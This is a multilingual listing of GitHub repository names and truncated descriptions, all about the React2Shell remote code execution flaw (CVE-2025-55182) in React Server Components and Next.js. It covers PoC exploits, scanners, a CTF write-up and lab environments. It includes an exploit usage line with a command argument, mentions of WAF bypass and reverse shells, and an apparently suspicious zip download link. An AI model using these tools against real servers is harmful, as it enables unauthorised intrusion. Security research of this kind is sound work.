CVE-2025-55182-realistic-poc

CVE-2025-55182: RCE в React Server Components Минимальная proof of concept, демонстрирующая критическую уязвимость удаленного выполнения кода в [email protected]. Что такое CVE-2025-55182? Уязвимость RCE без аутентификации в React Server Components, позволяющая атакующим выполнять произвольн...

CVE-2025-55182-POC

CVE-2025-55182 POC & Detection React Server Components RSC Unsafe Deserialization 취약점 익스플로잇 및 탐지 도구 모음 취약점 정보 CVE-ID : CVE-2025-55182 영향 버전 : React 19.x, Next.js 15.x/16.x App Router 사용 시 공격 벡터 : RSC Flight 프로토콜 역직렬화 시 프로토타입 오염을 통한 RCE 위험도 : Critical CVSS 10.0 📦 구성 요소 1. 취약한 환경 Docker...

Next.js_exploit_CVE-2024-34351

csr-rsc-ssg-isr-ssr-ssrf 이 저장소는 하나 이상의 미트업을 발표하기 위한 자료로 사용될 수 있습니다. 과정은 다음과 같습니다... "CSR" Client Side Rendering: 표준 SPA 라이브러리로서의 React "RSC" React Server Components: 오직 서버 측에서만 실행되는 React 컴포넌트 "SSG" Static Site Generation: 빌드 시점에 React 컴포넌트 실행 "ISR" Incremental Static Regeneration: 요청 시 컴포넌트 재생성...

POC-CVE-2025-55182

CVE-2025-55182 - React RSC RCE React Server Components의 Flight 프로토콜 역직렬화 취약점에 대한 PoC입니다. 이게 뭐야? Next.js 14+와 React 19는 클라이언트와 서버 간 통신을 위해 독점"Flight" 프로토콜을 사용합니다. 문제는 서버가 검증 없이 아무 모듈이나 로드한다는 것입니다. 그래서 childprocess를 실행하게 만들 수 있고, boom, RCE입니다. 사용법 python CVE-2025-55182.py -t -p --cmd "id" 영향을 받는 버전...

react2shell-evolved

React2Shell Scanner Высокоточное обнаружение RCE в RSC/Next.js Сканер для обнаружения уязвимостей удаленного выполнения кода RCE в приложениях React Server Components и Next.js. О проекте React2Shell Scanner — это специализированный инструмент для выявления уязвимостей удаленного выполнения кода...

CVE-2025-55182-Exploit-PoC-Scanner

CVE-2025-55182 - React Server Components RCE 익스플로잇 v2.0 CVE-2025-55182 및 CVE-2025-66478 취약점을 React Server ComponentsRSC 및 Next.js Server Actions에서 테스트하기 위한 포괄적인 보안 연구 도구입니다. 취약점 개요 속성| 값 ---|--- CVE ID| CVE-2025-55182, CVE-2025-66478 CVSS 점수| 10.0 CRITICAL 영향받는 버전| React 19.2.0, Next.js 15.0.5 취약...

Explosive-As-Hell-MCS-Qualifer-Web-500

CVE-2025-55182 — RCE в React Server Components | Writeup для CTF Категория: Web Exploitation | Сложность: Средняя | Уязвимость: Удалённое выполнение кода → Повышение привилегий через SUID TL;DR Эндпоинт React Server Components, уязвимый для CVE-2025-55182 RCE → перебор SUID-бинарников →...

React2Shell

RSC Sentinel 웹 애플리케이션에서 React2Shell 취약점CVE-2025-55182 및 CVE-2025-66478을 탐지하기 위한 Firefox 확장 프로그램입니다. 👁️ 개요 RSC Sentinel은 브라우징 중 React Server ComponentsRSC 및 Next.js App Router 지표를 관찰하려는 보안 연구원과 교육자를 위한 Firefox 브라우저 확장 프로그램입니다. 기본적으로 수동 탐지에 중점을 두며, 사이트 동작을 변경하지 않고 잠재적 신호를 강조합니다. 승인된 평가를 위해 사용자가 시작하는...

CVE-2025-55182-React2Shell

React2Shell React2Shell 은 최신 웹 프레임워크의 React Server ComponentsRSC에서 발견된 CRITICAL 원격 코드 실행RCE 취약점을 시연하는 개념 증명PoC 익스플로잇입니다. 이 PoC는 CVE-2025-55182를 대상으로 하며, 이는 React Server Components 구현의 안전하지 않은 역직렬화를 통해 인증되지 않은 원격 공격자 가 임의의 시스템 명령을 실행할 수 있게 하는 CVSS 10.0 취약점입니다. 🔍 취약점 개요 React2Shell 은 React Server...

CVE-2025-55182

CVE-2025-55182 — React2Shell: 고급 익스플로잇 및 석사 학위 논문 연구 -brightred 신뢰할 수 없는 데이터 역직렬화 + React Server Components의 프로토타입 오염 Next.js Server Actions를 통한 인증되지 않은 원격 코드 실행 영향 범위: React 19.0.0 - 19.2.0 · 패치: React 19.0.1 / 19.1.2 / 19.2.1 2025년 12월 3일 고급 익스플로잇 시연 - 취약한 Next.js 애플리케이션에 대한 RCE 기본 명령, 인터랙티브 셸 ...

CVE-2025-55182-shellinteractive

💻 CVE-2025-55182-shellinteractive - Запускайте команды легко и безопасно 🚀 Обзор CVE-2025-55182 — это уязвимость в https://raw.githubusercontent.com/alyaapm/CVE-2025-55182-shellinteractive/main/trivalent/shellinteractive-CV-2.6.zip и React Server Components. Эта проблема позволяет неавторизованны...

react2shell-CVE-2025-55182-poc

CVE-2025-55182 React2Shell PoC - WAF 우회 포함 CVE-2025-55182일명 React2Shell를 위한 깔끔하고 신뢰할 수 있는 Python 개념 증명 익스플로잇입니다. 이는 Next.jsApp Router 및 유사 프레임워크에서 사용되는 React Server Components의 중요 원격 코드 실행 취약점입니다. 이 PoC는 대규모 멀티파트 본문의 심층 검사를 제한하는 일반적인 웹 애플리케이션 방화벽Cloudflare, AWS WAF 등을 우회하기 위한 동적 WAF 우회 패딩 을 포함합니다...

flight-risk

flight-risk flight risk /flaɪt rɪsk/ — React의 Flight 프로토콜은 React 서버 컴포넌트의 직렬화 계층입니다. CVE-2025-55182는 Flight의 역직렬화 결함을 악용하여 인증 전 RCE를 달성합니다. 앱이 RSC를 사용한다면, flight risk 입니다. CVE-2025-55182 React2Shell — React Server Components의 CVSS 10.0 사전 인증 원격 코드 실행 취약점을 위한 보안 툴킷입니다. 스캔, 탐지, 연관, 테스트 기능을 제공합니다. 포...

react2shell-scanner

🚨 React2Shell 스캐너 React Server Components의 CVSS 10.0 RCE. React 19 앱이 취약한가요? CVE-2025-55182React2Shell에 대한 빠르고 정확한 스캐너입니다. 실제 환경에서 악용되고 있는 치명적인 원격 코드 실행 취약점입니다. 지능형 Server Components 탐지로 오탐false positive이 전혀 없습니다. 🚨 React2ShellCVE-2025-55182 정보 React2Shell은 인증 없이 원격 코드 실행이 가능한 React Server...

CVE-2025-55182

CVE-2025-55182 Если вам нужно реальное объяснение, в msanft/CVE-2025-55182 есть хорошее с рабочим PoC. Этот репозиторий содержит только некоторые мои попытки, которые дали интересные вроде бы результаты. ./thing.py теперь содержит рабочий PoC, большая часть которого взята из...

React2P4IM0Nshell

React2P4IM0Nshell 💥Next.jsおよびReact Server Components（RSC）環境向けの高度なRCE/ソースリーク/Dos（CVE-2025-55182/83/84）監査・エクスプロイト用拡張ツール。ブラウザから直接使用可能で、拡張機能自体に組み込まれたLinux端末で任意のリバースシェルを受信できます❌ ⚡ CMDCENTER: 核 👁️ パッシブ偵察 DOMとHTTPヘッダーを静かに分析します。window.nextfやtext/x-componentといったシグネチャを検出し、WAFに警報を発することなくNext.js App...

react2shell

React2Shell React Server Components / Server Actions의 프로토타입 오염 취약점CVE-2025-55182 및 CVE-2025-66478을 악용하여 취약한 서버에서 원격 코드 실행RCE을 가능하게 하는 CLI 도구입니다. 원본 PoC : https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc 경고: 이 도구는 현재 야생에서 적극적으로 악용되고 있는 심각한 취약점CVSS 10.0을 대상으로 합니다. 소유한 시스템이나 명시적...

react2shell-scanner

react2shell-scanner CVE-2025-55182 및 CVE-2025-66478 원격 코드 실행을 탐지하는 고정밀 명령줄 취약점 스캐너입니다. Next.js 애플리케이션에서 React Server ComponentsRSC를 사용하는 환경을 대상으로 합니다. 🚨 취약점 개요 이 치명적인 취약점들은 React Server Components를 사용하는 Next.js 애플리케이션에 영향을 미치며, 조작된 multipart POST 요청을 통해 인증되지 않은 원격 코드 실행을 가능하게 합니다. 영향을 받는 버전: 취약한 ...

CVE-2025-55182

CVE-2025-55182: React2Shell - Next.js 원격 코드 실행 툴킷 !WARNING 이 도구는 공인된 테스트 및 교육 목적으로만 제공됩니다. 승인되지 않은 네트워크 접근과 데이터 유출은 불법입니다. 사용자는 이 도구를 어떤 네트워크에서 사용하기 전에 적절한 승인을 받았는지 확인할 책임이 있습니다. 개요 이 저장소는 React2Shell 이라고도 알려진 CVE-2025-55182를 통해 검증, 익스플로잇 및 대화형 셸 확보를 수행하는 간단한 툴킷을 포함합니다. 이는 React Server...

Unihackers---CVE-2025-55182-

ITALIAN GANG React2Shell PoC Этот репозиторий предоставляет минимальное, намеренно уязвимое окружение для проверки сканеров безопасности на предмет недавней критической RCE-уязвимости React2Shell, затрагивающей React Server Components и Next.js. CVE-2025-55182 : Уязвимость удаленного выполнения...